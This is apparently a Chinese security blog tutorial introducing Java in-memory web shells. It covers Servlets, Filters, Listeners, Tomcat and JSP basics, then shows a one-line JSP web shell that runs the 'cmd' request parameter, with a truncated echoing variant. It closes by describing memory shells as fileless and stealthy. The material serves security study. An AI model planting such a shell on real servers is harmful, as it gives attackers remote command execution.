Java内存马-基础篇
背景知识
Java Web三大件
Java Web三大件指的是:Servlet, Filter, Listener。
在 JavaWeb 开发中,Servlet、Filter、Listener 是三个重要的组件,它们可以用 电影院的观影体验 来比喻:
1. Servlet(电影播放)—— 处理请求的核心
- Servlet 就像 电影播放系统,用户(浏览器)买票(发送请求),影院(服务器)根据用户的选择播放对应的电影(处理请求并返回数据)。
- 例如,你在网站上提交了一个登录请求,Servlet 会负责接收你的信息、校验密码,然后返回结果。
2. Filter(检票员)—— 过滤请求和响应
- Filter 就像 影院的检票员,在你进入影厅前,检查你是否有票(权限验证)、是否带了违禁品(过滤不合法内容),如果没问题才让你进去。
- 在 JavaWeb 中,Filter 可以拦截请求或响应,比如:
- 进行权限验证(检查是否登录)
- 处理编码(防止乱码)
- 记录访问日志
3. Listener(电影院的工作人员)—— 监听全局事件
Listener 就像
影院的工作人员
,负责监听电影院内的各种情况,比如:
- 电影开场时,工作人员检查座位(项目启动时,初始化资源)。
- 电影结束后,清理影厅(用户退出后,释放资源)。
在 JavaWeb 中,Listener 监听应用程序、会话、请求的生命周期,例如:
- Session 监听器:用户登录/退出时执行操作。
- Context 监听器:服务器启动/关闭时初始化或清理资源。
Tomcat
Tomcat 是一个 轻量级的 Java Web 服务器(Servlet 容器),主要用来运行 JavaWeb 应用(如 Servlet 和 JSP)。可以理解为 专门为 JavaWeb 开发的“迷你服务器”。
核心功能
- Web 服务器:能够处理 HTTP 请求,响应 HTML 页面。
- Servlet 容器:支持 Servlet 和 JSP,运行 JavaWeb 应用。
- 管理部署:支持
.war
文件部署,方便管理 Web 应用。 - 轻量、开源、免费:相比其他服务器(如 WebLogic、JBoss),Tomcat 体积小、运行快。
JSP
JSP(JavaServer Pages) 是一种基于 Java 的 动态网页技术,可以在 HTML 页面中嵌入 Java 代码,从而实现动态网页内容的生成。它的本质是 Servlet 的扩展,让 JavaWeb 开发更方便。
JSP环境搭建
我在这里踩了坑,下面记载一下搭建过程:
直接新建项目,什么也不用管:
勾上即可。
这里已经基本成功了,多了一个web目录,下面就可以创建jsp文件了。
这里还是会有问题:jsp文件中部分的java函数会爆红。
解决办法是在web目录下新建一个lib目录,然后去Tomcat的lib目录下,把这两个文件放进去:
即可。
这里我纠正一下,正确的格式应该是把这个web拖进src/main中:
JSP的基本用法
JSP脚本元素:
<% ... %>
:用于嵌入Java代码(脚本片段)。
1
2
3
4<%
String name = "DeepSeek";
out.println("Hello, " + name);
%><%= ... %>
:用于输出Java表达式的值(相当于
1
out.print()
)。
1
<%= "Hello, " + name %>
<%! ... %>
:用于声明变量、类或方法。
1
2
3
4
5
6<%!
int count = 0;
void increment() {
count++;
}
%>
JSP指令:
<%@ page ... %>
:用于定义页面的属性,比如编码、导入类等。
1
2<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.Date" %><%@ include ... %>
:用于包含其他文件(静态包含)。
1
<%@ include file="header.jsp" %>
<%@ taglib ... %>
:用于引入标签库(如JSTL)。
1
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
JSP动作:
<jsp:include>
:动态包含其他文件。
1
<jsp:include page="footer.jsp" />
<jsp:forward>
:将请求转发到另一个页面。
1
<jsp:forward page="nextPage.jsp" />
<jsp:useBean>
:用于创建或访问JavaBean对象。
1
<jsp:useBean id="user" class="com.example.User" scope="session" />
JSP内置对象
JSP提供了9个内置对象,可以直接在脚本中使用:
- **
request
**:HttpServletRequest
对象,用于获取客户端请求信息。 - **
response
**:HttpServletResponse
对象,用于向客户端发送响应。 - **
session
**:HttpSession
对象,用于存储会话数据。 - **
application
**:ServletContext
对象,用于存储全局数据。 - **
out
**:JspWriter
对象,用于向客户端输出内容。 - **
pageContext
**:PageContext
对象,提供了对页面上下文的访问。 - **
config
**:ServletConfig
对象,用于获取Servlet配置信息。 - **
page
**:当前页面的this
对象。 - **
exception
**:Throwable
对象,用于处理异常(仅在错误页面中可用)。
JSP的生命周期
JSP页面的生命周期包括以下几个阶段:
翻译阶段:JSP文件被编译成Servlet类(
.java
文件)。编译阶段:Servlet类被编译成字节码(
.class
文件)。初始化阶段:Servlet实例被创建,
jspInit()
方法被调用。执行阶段:
_jspService()
方法被调用,处理请求并生成响应。销毁阶段:
jspDestroy()
方法被调用,释放资源。
传统JSP木马
无回显
1 | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
通过get方式接受cmd参数,并且执行相应命令。
有回显
1 | <% if(request.getParameter("cmd")!=null){ |
这些传统JSP木马的共同点是:
- 需要文件落地
- 特征性强
为了规避这些缺点,我们就引入了内存马:
Java 内存马(Memory Shell)是一种黑客攻击手段,指的是攻击者通过特定手段在 JVM 内存 中注入恶意代码,从而在不修改磁盘文件的情况下,实现 长期驻留和远程控制 目标服务器的能力。
特点:
- 无文件落地:不会在服务器磁盘上留下恶意文件,避免被传统杀毒软件或安全监控工具检测到。
- 长期驻留:通常依附于 Web 容器(如 Tomcat、Spring、Jboss 等),可以在服务器重启前保持存活。
- 隐蔽性高:利用 Java 反射、动态代理、类加载机制等技术,隐藏恶意代码执行痕迹。
- 操作便捷:可以远程执行恶意指令,如执行命令、读取文件、获取数据库信息等。